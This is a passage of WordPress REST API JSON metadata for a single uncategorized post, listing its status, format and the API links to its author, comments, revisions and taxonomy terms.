[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1021","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/1021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=1021"}],"version-history":[{"count":1,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/1021\/revisions"}],"predecessor-version":[{"id":1040,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/1021\/revisions\/1040"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=1021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=1021"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=1021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}